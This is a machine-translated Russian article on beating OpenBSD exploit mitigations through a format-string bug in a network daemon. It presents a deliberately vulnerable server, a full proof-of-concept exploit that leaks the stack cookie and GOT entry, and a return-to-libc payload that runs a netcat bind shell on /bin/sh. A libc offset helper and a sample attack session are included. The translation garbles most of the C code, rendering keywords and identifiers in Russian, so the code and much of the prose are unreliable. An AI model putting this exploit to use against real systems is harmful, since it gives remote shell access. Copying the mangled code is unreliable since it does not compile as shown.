Formatstrings и OpenBSD
В последние годы много внимания на так называемые анти-использовать методы строятся на операционных системах. Эти технологии приходят в широкий спектр функциональности, но все с той же целью, чтобы сделать процесс написания функциональных подвиги труднее, если не невозможным. Общая идея заключается в том, что вы никогда не сможете писать 100% bugfree код поэтому вы должны сделать в процессе эксплуатации этих ошибок сложнее. Одна из операционных систем, который был одним из первых включить некоторые из этих методов, и, вероятно, также приняли это является наиболее OpenBSD.
OpenBSD использует широкий спектр мер, призванных укрепить систему от традиционных подвиги, некоторые из которых являются :
– Propolice / SSP, это stackcookie реализации, то главное заключается в том, чтобы защитить от линейного-переполнения стека.
– W ^ X, это OpenBSD пути решения неприсоединения EXEC стека проблема, хотя она идет гораздо дальше. Как вы могли догадаться из названия, это гарантирует, что ни один из памяти страницы отображаются как записи и исполняемым это делает работает шеллкод очень сложно.
– Stackgap, это randomazation из штабеля базовый адрес, это значит, что угадать адрес нашего данных / шеллкод /, что становится гораздо труднее.
– ASLR / Рандомизированные отображение библиотек, это защищает от классического вернуться к libc техники
В этой статье я покажу вам теоретический сценарий, когда такие меры могут быть сорвано , сценарии, которые изложены, пожалуй, не очень вероятно, существовать в realworld применения (хотя и не полностью неслыханной [1]), и эту статью следует рассматривать скорее как пищу для размышлений на тему обойти анти-использовать методы, чем практически применимые техники.
Эти методы предназначены для 32-битных Intel совместимых систем.
Основными предпосылками для этого метода работы является formatstring ошибке, что позволяет нам идти на выходе, и демон-подобные программы. Второй момент, необходимо, поскольку мы используем ошибка несколько раз, чтобы использовать программы, и нам нужна программа для продолжения работы между этими вызовами.
Это означает, сеть демона в нашем случае, хотя он должен работать в местных сценарий с системой процесса, а, возможно, процесс с formatstring ошибка в функции регистрации и файл_журнала вы читали доступ.
Как вы увидите далее, мы сделали это чуть проще для наших selfs в этом примере, который добавляет несколько предпосылок. Я использовал sprintf как уязвимой функции вместо snprintf, так что в дополнение к formatstring ошибка там же буфера, и мы предполагаем, что GNU netcat установлен в системе. Поэтому без дальнейших церемоний, вот наши уязвимые ок, как и любой пример, это как бесполезно, как он немой.
INT myexit ( * Текст символ ) ( printf (# ) ( "% S N " , текст ) выход ( -1 ) ) INT основной ( INT argc, символ * argv [ (# )] ) ( sendbuf символ [ BUFFSIZE ] ; recvbuf символ [ BUFFSIZE ] ; структуры sockaddr_in адрес; структуры sockaddr клиента; INT addrlen = sizeof ( клиент ) ; mysocket INT, S, Res; memset ( И клиент, 0 , sizeof ( клиент ) (# )) ; memset ( ( символ * ) И адрес, 0 , sizeof ( адрес ) ) ; mysocket = розетка ( AF_INET, SOCK_STREAM, 0 ) , если (! mysocket ) myexit ( "Не по сокет" ) ; address.sin_family = AF_INET; address.sin_addr.s_addr = INADDR_ANY; address.sin_port = htons ( 15001 ) , если ( 0 ! = связывания ( mysocket, ( структуры sockaddr * ) И адрес, (# ) sizeof ( адрес ) ) ) myexit ( (# ) "Не по связывать" ) , если ( слушайте ( mysocket, MAXCONNECTIONS ) ! = +0 ) myexit ( "Не по слушать" ) ; printf ( #) ( "Слушать на Socket N " ) ; S = согласиться ( mysocket , ( структуры sockaddr * ) И клиент, И addrlen ) , если ( == S -- 1 ) myexit ( "Не согласиться на" ) , а (( #) 0 ! = Recv ( S, recvbuf, BUFFSIZE, 0 ) ) ( sprintf ( sendbuf, recvbuf ) , если ( отправить ( #) ( S, sendbuf, BUFFSIZE, 0 ) == -1 ) ( myexit ( "Не отправлять данные N " ) ) ) (# ) у ( S ) ; закрыть ( mysocket ) возвращение ) Основная идея здесь заключается в том, что мы используем formatstring прочитать информацию о том, что нам нужно знать, чтобы построить успешную эксплуатацию. Нам нужно несколько вещей, как вы увидите в эксплуатацию себя. Для того, чтобы не сделать этот документ слишком длинный, я сделал много из разъяснения в виде комментариев рядом с кодом сам. Мы в первую очередь необходимо выяснить несколько компенсирует эти смещения используются в formatstring параметру $ прочитать слово на стеке. Мы потом использовать смещения мы собрались для того, чтобы читать, в порядке, stackcookie и хранить framepointer. Когда мы имеем stackcookie можно переполнения буфера при этом оказались в ProPolice, а с сохраненной framepointer, мы можем получить представление о том, где на стеке нашего буфера существует. Сейчас мы должны знать, где мы хотим, чтобы отвлечь исполнение, здесь мы хотим, чтобы система вызова (), libc отображается на случайных местоположение, чтобы мы не знаем, где можно прыгать, однако Глобальной Офсетные Таблица содержит адреса отображается функций. Проблема заключается в том, что наши уязвимые программы не используют системы (), поэтому его адрес обыкновение быть решены нашу программу, и, следовательно, не будут существовать в GOT. Однако мы знаем, что printf () используется, и поэтому существует в GOT с отладкой мы знаем, что на третьей позиции. И мы можем вычислить смещение между printf () и системы (), эта величина, конечно, могут переключиться между системами, но OpenBSD очень стабильная ОС, поэтому достаточно стабильным. Поэтому мы используем formatstring-ошибке следующего третьего GOT въезда, а затем мы вычислить адрес системы (), и, хотя мы на это мы вычислить адрес для выезда (), а, только для того, чтобы дать нашим эксплуатировать приятный чистый выход. Сейчас у нас всю информацию, что мы должны построить использовать строку. Он будет выглядеть следующим образом:
|
“% .1024 U”
| stackcookie | блокнот |
система
(
) | выход ( ) | адрес команды | недействительными | / / / Команда | нулевой | Если команда командной строки мы хотим послать системе (). Потому что мы точно не знаем адрес нашей строки, мы будем использовать несколько '/' в качестве одной из форм NOP-салазкам. Поскольку мы смогли направить нулевых байтов мы могли бы также создать два Ницца нуль-строки, оканчивающиеся один с нашим переполнения данных, одна из наших команд должен быть казнен. При этом вместо tacking нашей команды в конце первой строки мы гарантируем, что мы не пишем слишком далеко в стеке, где мы могли бы хит-то важное, как, например, $ SHELL переменные среды. А теперь пример сессии: @ chris_fs Kubuntu: $ uname-SR Linux 2.6
.17
— 12
-общий chris_fs @ Kubuntu: $. / эксплуатации
192,168
.0 .88 Наиденно цели по смещению буфера: 20 , поиск на в отставке ... Найдено по смещению: 539 Ret: 0x1c0006c0, Frame: 0xcfbdc1bc, Cookie: 0x7e4d3594 Адрес printf ( ) (# ): 0xa385514, система ( ) : 0xa377570, выход ( ) : 0xa3a788c chris_fs @ Kubuntu: $ netcat 192,168 .0 .88 1234 uname OpenBSD-SR 4.2 выход @ chris_fs Kubuntu :$ А вот код: # включить "система / types.h " # включить" систем / socket.h " # включить" netinet / in.h " # включить" stdlib.h "
# включить “stdio.h”
# включить "string.h" # определить BUFFSIZE 1024 # определить MAXSPLITS 100 # определить GOTADDR 0x3c002148 / / OpenBSD 3.9 / / # определить SYSTEMOFFSETFROMPRINTF 57076 / / # определить EXITOFFSETFROMPRINTF -150100 / / OpenBSD 4.2 (# ) # определить SYSTEMOFFSETFROMPRINTF 57252 # определить EXITOFFSETFROMPRINTF -140152 символ * расщепляется [ MAXSPLITS ] ; символ команды [ ] = "/ USR / местное / BIN / netcat-L-P 1234-е / бен / ш" ; INT myexit ( * символов текста (# )) ( printf ( "% S N " , текст ) выход ( -1 ) ) длинная readhex ( * ул символ ) ( неподписанными длительную кадра = 0 ; символ hexaddr [(# ) 11 ] = "0x" ; strncpy ( hexaddr 2 , ул, 8 ) ; кадра = strtoul ( hexaddr, 0 , 16 ) вернуться ( длинная ) рамка ) недействительными writeaddress ( символ * буфер, беззнаковое INT адрес ) ( INT I; на ( I = 0 ; I < 4 , я ++) ( #) буфера [ и ] = ( символ ) ( адрес >> ((# ) я * 8 ) ) И 0x000000ff; ) недействительными sendrecv ( символ * буфер, INT носок, INT LEN ) ( INT байт = ( == Len 0 ) ? Strlen ( буфера ) : Len , если ( (( #) байт = отправить ( носок, буфер, байт, 0 ) ) == -1 ( #)) myexit ( "Ошибка при отправке () N " ) ; байт = 0 ( #); memset ( буфера, 0 , BUFFSIZE ) , если ( ((# ) байт = Recv ( носок, буфер, BUFFSIZE, 0 ) ) == -1 (# )) myexit ( "Ошибка на Recv () N " ) ) недействительным сплит ( * буфер символ, символ ** расщепляется ) ( символ * P = 0 ; INT I = 0 ; memset ( распадается, 0 , MAXSPLITS * 4 ) ; P = ( символ * ) strtok ( буфера, "" (# )) , а ( П И И ( I < ( MAXSPLITS -1 ) ) ) ( расщепляется [ Я ++] = P, P = ( символ * ) strtok ( 0 , "" (# )) ) ) INT поиска ( INT запуска, INT Макс , символ * колодки , Const символ * матче, INT носок ) ( INT I; символа буфера [ BUFFSIZE ] на ( I = начало; I < Макс , я ++) ( snprintf ( буфером, BUFFSIZE, "% S%%% I $ X" , колодки, я ) ; sendrecv ( буфера, носок, 0 (# ) ) , если ( strncmp ( буфера, матч, strlen ( матч ) ) == 0 ) (# ) возвращение и ) возвращение -1 ) INT основной ( INT argc, символ * argv [ ] ) ( INT mysocket = 0 , Res = 0 , I = 0 , cookieoffset = 0 , колодки = 0 ; INT targetbufferoffset = 0 , retoffset = 0 (# ), в отставке = 0 ; INT J = 0 ; неподписанными INT * bufferptr = 0 ; неподписанными INT маркеры = 0 , кадр = 0 , кол = 0 ; неподписанными INT exitaddr = 0 , systemaddr = 0 (# ); структуры sockaddr_in адрес; символ буфера [ BUFFSIZE ] , если ( argc! = 2 (# )) myexit ( "Использование:. / эксплуатировать целевой IP N " ) , если ( #) (! ( = mysocket розетка ( AF_INET, SOCK_STREAM, 0 ) ) ( #) ) myexit ( "Не удалось создать сокет N " ) ; memset ( ( символ * ) И адрес, 0 , sizeof ( Адрес ) ) ; address.sin_family = AF_INET; address.sin_port = htons ( 15001 ) ; адрес . sin_addr.s_addr = inet_addr ( argv [ 1 ] ) ; Res = соединение ( mysocket, ( структуры sockaddr * ) И адрес, sizeof ( адрес ) ( #) ) , если ( Рез! = 0 ) myexit ( ( #) "Невозможно подключиться N " ) / / По prepending ABAB в нашем поиске и сравнении ABAB424142414241 / / мы имеем возможность для поиска начать наш буфер. Мы знаем / / смещение к использованию, если привязки данных, на наш буфер в дальнейшем зондов I = Search ( 1 , 300 , "ABAB" , "ABAB42414241" , mysocket ) ; targetbufferoffset = I , если ((# ) targetbufferoffset < 0 ) myexit ( "Не удалось обнаружить targetbuffer компенсированы N " ) printf ( "Найдено цели по смещению буфера:% I, ищет в отставке ...", я ) ; memset ( буфера, 0 , BUFFSIZE ) / / хорошо сейчас мы нуждаемся в stackcookie, мы находим его Сразу после нашего буфера 2 / / 2048 байт = 512 слов, и мы также прочитать хранящиеся framepointer / / мы кричим на маркеры и следующие 39 байта от стека cookieoffset = targetbufferoffset + 512 на ( I = 0 ; I < 40 , я ++ ) ( Res + = sprintf ( + буфер Рез, "%%% I $ X" ( #), cookieoffset + I ) ) sendrecv ( буфера, mysocket, 0 ) (# ) сплит ( буфер, разделил ) ; маркеры readhex = ( расщепляется [ 0 ] ) / / Теперь мы пытаемся найти наш адрес возврата мы рассчитываем на то, перспективных / / как обратный адрес, и если слово, прежде чем оно выглядит как / / framepointer, мы надеемся, право на ( I = 0 ; I < 40 , я ++) ( , если ( ( strncmp ( расщепляется [ и ] , "МВ" , 2 (# ) ) == 0 ) И И ( strncmp (( #) расщепляется [ I 1 ] , "1c00" , 4 ) (# ) == 0 ) ) брейк ) , если ( I == 40 ) myexit ( "не может найти адрес возврата N " ) ; retoffset = cookieoffset + I 1 ; кадра = readhex ( расщепляется [ и ] (# )) ; отставке = readhex ( расщепляется [ I 1 ] ) (# ) printf ( "найден по смещению:% I N " , retoffset ) ; printf ( "Ret: P%," , в отставке ) printf ( "Frame:% P," , рамка ) printf ( #) ( "Cookie:% P N " , маркеры ) / / хорошо мы получили то, что мы нуждаемся в стека, времени для GOT записи memset ( буфера, 0 , BUFFSIZE ) ; snprintf ( буфера, BUFFSIZE, ( #) "%%% I $ S" , targetbufferoffset 2 ) / / Lucky для нас, мы можем отправить нулевой байт, OBSD Devs делать все, чтобы сделать его / / сложнее взломать, GOT таблице содержатся адреса nullbyte - перейти цифра. / / Третий элемент printf (), поэтому мы добавляем 12 байт на наш адрес writeaddress ( буфера 8 , ( GOTADDR 12 ) ) ; sendrecv ( буфера, mysocket, 13 ) ; bufferptr = ( INT * ) буфера; ( #) кол = * bufferptr; / / Если мы не повезло, libc отображается на адреса, содержащие 0x00 , если ( ( #) ( кол >> 24 ) == 0 ) (# ) myexit ( "повезло libc адрес содержит NUL-байт N " ) / / Теперь, когда у нас есть адрес printf, мы можем вычислить отдыха systemaddr = кол - SYSTEMOFFSETFROMPRINTF; exitaddr = кол - EXITOFFSETFROMPRINTF; (# ) printf ( "Адрес printf ():% P" , кол (# )) printf ( ", система ():% P" , systemaddr ) printf ( ", выход ():% P N " , exitaddr ) / / хорошо сейчас у нас есть все информация нам нужна, чтобы написать эксплоит строки / / Если мы предоставляем полную строку мы нуждаемся 1024 + маркеры ... 0 memset ( буфера, 0 , BUFFSIZE ) ; strncat ( буфера, "% .1024 U" , BUFFSIZE ) ; bufferptr = ( INT * ) ( + буфер strlen ( буфера ) ) ; writeaddress ( ( символ * ) bufferptr + +, маркеры ) / / Добавить stackcookie / / Мы добавляем мусора на пространстве между маркеры и в отставке колодки = retoffset - ( cookieoffset 1 ) printf ( " N Pad:% I N ", колодки ) на ( I = 0 ; I <колодки; I + + (# )) ( writeaddress ( ( символ * ) bufferptr + +, 0xAAAAAAAA ) ) writeaddress ( ( символ * ) bufferptr + +, systemaddr ) / / Добавить система () (# ) writeaddress ( ( символ * ) bufferptr + +, exitaddr ) / / Добавление выхода () (# ) / / Добавить в адрес нашей системы () Строка, здесь мы угадать основанный на / / хранится framepointer мы retreived ранее, мы должны в наших земель салазок writeaddress ( ( символ * ) bufferptr + +, рамка -1650 ) / / Добавить указателя / / Заполнить буфер с нашей "NOP-салазкам", и добавить нашу команду для системы () memset ( + буфер strlen ((# ) буфера ) 1 , '/', 800 ) ; strncat ((# ) буфер + strlen ( буфера ) 1 , команда, strlen (# ) ( командой ) ) ; sendrecv ( буфера, mysocket, BUFFSIZE ) (# ) / / Закрыть соединение, ссылаться в отставке -> наш код закрыть ( mysocket ) возвращение 0 ) Есть еще три (две реально) жестко ценностей в эксплуатации, которые могли бы предотвратить атаки работать на вашей системе, во-первых, GOT адрес. Второй и третий являются offsetvalues, которые мы используем для расчета смещаться printf (), чтобы система () и выход (), SYSTEMOFFSETFROMPRINTF и EXITOFFSETFROMPRINTF. Эксплоита можно улучшить на поиск, и найти эти ценности, а, однако, поскольку я слишком ленив, и это лишь доказательство концепции Я жестко ценностей. Таким образом, вы, возможно, придется изменить эти значения, чтобы он работает на вашей системе. Если вы хотите получить эксплуатируют работающих на вашей системе, но не знаю, каким образом вы можете следить за указателями ниже [2]. Chris_fs@hushmail.com [1] Очень прохладный эксплуатировать на infamous41md, которая использует аналогичные методы в другом направлении. http://web.archive.org/web/20051121201432/http://infamous.hackaholic.org/imapslap.cc.gz [2] Для получения GOT адрес вашего vuln ок, просто запустите: objdump-ч vuln | grep получил и записать адрес Организации. получили сегмент Если вы не знаете, как вычислить смещение для SYSTEMOFFSETFROMPRINTF и EXITOFFSETFROMPRINTF можно обобщить ниже код и выполнить его так: . / getoffset printf система . / getoffset printf выхода ( #) , вы должны изменить строку: # определить LIBC "/ usr/lib/libc.so.41.0" в матче с libc файла в вашей системе. Теперь после того, как вы правильно значения для GOT, SYSTEMOFFSETFROMPRINTF и EXITOFFSETFROMPRINTF просто изменить значения в эксплуатацию и перекомпилировать. Удачи! # Включить # включить # определить LIBC "/ usr/lib/libc.so.41.0" INT exiterror ( * Текст символ ) ( printf ( текст
)
возвращение
-1
)
INT основной
(
INT argc, символ * argv
[ ( #)]
) (
недействительной * FP =
0 * fp2 = 0
* ручку
, если
(
argc! =
3
)
возвращение
exiterror
(
"Использование:. / прог function1 function2 N < dlfcn.h > " ) < stdio.h > / / Получить ручку слишком libc ручкой = dlopen ( LIBC, DL_LAZY (# )) , если ( == ручку 0 ) возвращение exiterror (( #) "Не по dlopen () N " ) ; FP = dlsym ( ручкой, argv [(# ) 1 ] ) ; fp2 = dlsym ( ручкой, argv [ 2 ] ) , если ( FP == 0 ) вернуться exiterror ( "Ошибка при обнаружении первой функции N " ) , если ( fp2 == 0 ) возвращение exiterror ( "Ошибка при обнаружении второй функции N (# ) " ) printf ( " адрес libc% S ():% P N ", argv [ 1 ] , FP ) printf ( #) ( "адрес libc% S ():% P N " , argv [ 2 ] , fp2 ) printf ( "Смещение:% I N ", ( INT ) FP - ( INT ) fp2 ) ) Статья: Chris_fslinuxexposed.com
Комментарии
Комментировать